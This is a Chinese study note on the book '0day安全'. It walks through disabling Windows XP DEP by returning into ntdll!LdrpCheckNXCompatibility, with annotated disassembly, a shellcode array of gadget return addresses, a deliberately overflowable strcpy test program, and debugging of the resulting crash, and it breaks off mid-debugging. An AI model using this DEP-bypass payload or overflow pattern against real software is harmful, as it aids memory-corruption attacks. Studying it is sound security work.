0day安全這書越到後面越難,哎...先記錄一下看書過程中的注記,便于後面了解。
書中以繞過ntdll!LdrpCheckNXCompatibility:ntdll!LdrpCheckNXCompatibility對SafeDisc的檢測為例展開讨論。以下為代碼流程圖:
1.
ntdll!LdrpCheckNXCompatibility:
7c93cd17 8365fc00 and dword ptr [ebp-4],0
7c93cd1b 56 push esi
7c93cd1c ff7508 push dword ptr [ebp+8]
7c93cd1f e887ffffff call ntdll!LdrpCheckSafeDiscDll (7c93ccab)
7c93cd24 3c01 cmp al,1 ;隻有滿足al==1,才會發生下面的跳轉
7c93cd26 6a02 push 2
7c93cd28 5e pop esi ;push 2/pop esi==mov esi,2
7c93cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ;跳到2處執行
2.
ntdll!LdrpCheckNXCompatibility+0x1a: ;
7c95f70e 8975fc mov dword ptr [ebp-4],esi
7c95f711 e919d6fdff jmp ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f) ;跳到3處執行
3.
7c93cd2f 837dfc00 cmp dword ptr [ebp-4],0 ;[ebp-4]中的值來源于1.中位址0x7c93cd26和0x7c93cd28的push/pop語句
7c93cd33 0f85f89a0100 jne ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ;跳到4處執行
4.
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04 push 4
7c956833 8d45fc lea eax,[ebp-4]
7c956836 50 push eax
7c956837 6a22 push 22h
7c956839 6aff push 0FFFFFFFFh
7c95683b e84074fdff call ntdll!ZwSetInformationProcess (7c92dc80)
7c956840 e92865feff jmp ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d) ;跳到5處執行
5.
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e pop esi
7c93cd6e c9 leave ;mov esp,ebp pop ebp
7c93cd6f c20400 ret 4 ;ntdll!LdrpCheckNXCompatibility檢測SafeDisc的流程結束
上面的代碼片中有一處關鍵性的比較語句,隻有當此處比較的結果得到滿足,就能順利關閉DEP。是以,全篇幅都是圍繞此處代碼在堆棧中做相應的調整。(雖然在3.處有一個比較語句,但此時[ebp-4]中的值為2,是以必然會發生跳轉)。你可能會想當然的覺得隻要在棧中預留一段
mov al,1;
jmp 0x7c93cd24 ;跳轉到cmp al,1處
這樣的shellcode,使之覆寫棧中傳回位址,當程式傳回時跳轉到mov al,1所在的位址,然後一切就搞定了~别忘了,現在堆棧是禁止執行的,是以這條路是行不通的。唯一能做的是在程序全部的可執行代碼空間中尋找一段包含mov al,1的指令,然後将程式的傳回位址覆寫為它。就這樣結束了?當然不,CPU執行完mov al,1以後還要強制扭轉CPU回到0x7c93cd24 cmp al,1處繼續執行,否則,又無法關閉DEP了。
能強制扳轉程式執行流的指令,往往首先會讓人想到是:在程序空間中搜尋到mov al,1;Call/Jmp xxxx目标這樣的指令流。但是,仔細想想好像這些指令未必有用:
1.以0x7c93cd24為目的位址的直接跳轉指令的數量應該不多;
2.call/jmp [N]這樣的間接跳轉指令,也會因為無法修改[N]的值導緻跳轉失敗。
那是不是我們通向關閉DEP的道路就被堵死了?也不是,還有一種間接的跳轉方式:push/ret指令組合。你可能會說程序空間中也未必會有push 0x7c93cd24這樣的指令吧?沒錯,這樣的指令确實不多,但是push/ret組合的本質是把傳回位址通過push指令預設在堆棧中,當需要ret時,CPU到棧頂取傳回位址。基于這種方式我們可以在溢出時将所有要跳轉的目的位址全部預設在堆棧中,在需要進入LdrpCheckNXCompatibility函數時ret出來即可。
借鑒這種方式,在程序空間中搜尋mov al,1;ret這樣的指令流來滿足第一個cmp語句。Od提示在0x7c80c190處有mov al,0x01;ret指令。在執行LdrpCheckNXCompatibility前,我們要跳去0x7c80c190處執行mov al,0x01;當遇到ret指令時,又要從棧頂取傳回位址,跳到0x7c93cd24執行cmp al,0x01。對于第一次跳轉,我們可以安排在test函數傳回時發生,由于執行一次return語句會使esp=esp+4,是以第二次跳轉的位址存放在堆棧上緊接着前一次傳回位址的4個位元組。
char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\ //這8B正好覆寫到[ebp]
"\x90\xc1\x80\x7c"\ //覆寫test傳回位址,使其指向mov al,0x01
"\x24\xcd\x93\x7c"\ //ret的傳回位址,傳回到LdrpCheckNXCompatibility執行cmp al,0x01
"\x90\x90\x90\x90"};
int test()
{
char arry[4] = {0};
strcpy(arry,shellcode);
return 0;
}
int main()
{
HMODULE hMod = LoadLibrary("shell32.dll");
test();
}
我們來驗證一下上面的shellcode是否能通過0x7c93cd29 je判斷,進而進入LdrpCheckNXCompatibility的僞代碼2中執行(注意esp的變化):
1.即将從test函數傳回到mov al,0x01;ret指令序列中:
此時esp的值為0x12FF78,存放了mov al,0x01;ret指令序列所在的位址0x7c80c190。當test函數中的ret指令傳回時,将傳回到位址0x7c80c190。
2.即将傳回到LdrpCheckNXCompatibility中:
由于前一次ret指令,esp寄存器的值比上一次截圖多4B,指向0x12ff7c。其存放的傳回位址為:0x7c93cd24,即進入到LdrpCheckNXCompatibility函數中。
3.進入LdrpCheckNXCompatibility函數:
恩,看來這樣安排堆棧可以進入LdrpCheckNXCompatibility。
4.雖然,程式進入了LdrpCheckNXCompatibility,并執行通過cmp al,0x1但沒執行幾步就發生了異常:
一旦程式執行到0x7c95F70E處的mov ss:[ebp-0x04],esi指令,會觸發通路無效記憶體的異常。此時EBP的指向0x90909090,往[0x90909090-4]處寫值當然會引發異常。當然OD也提示我們這塊位址無法通路: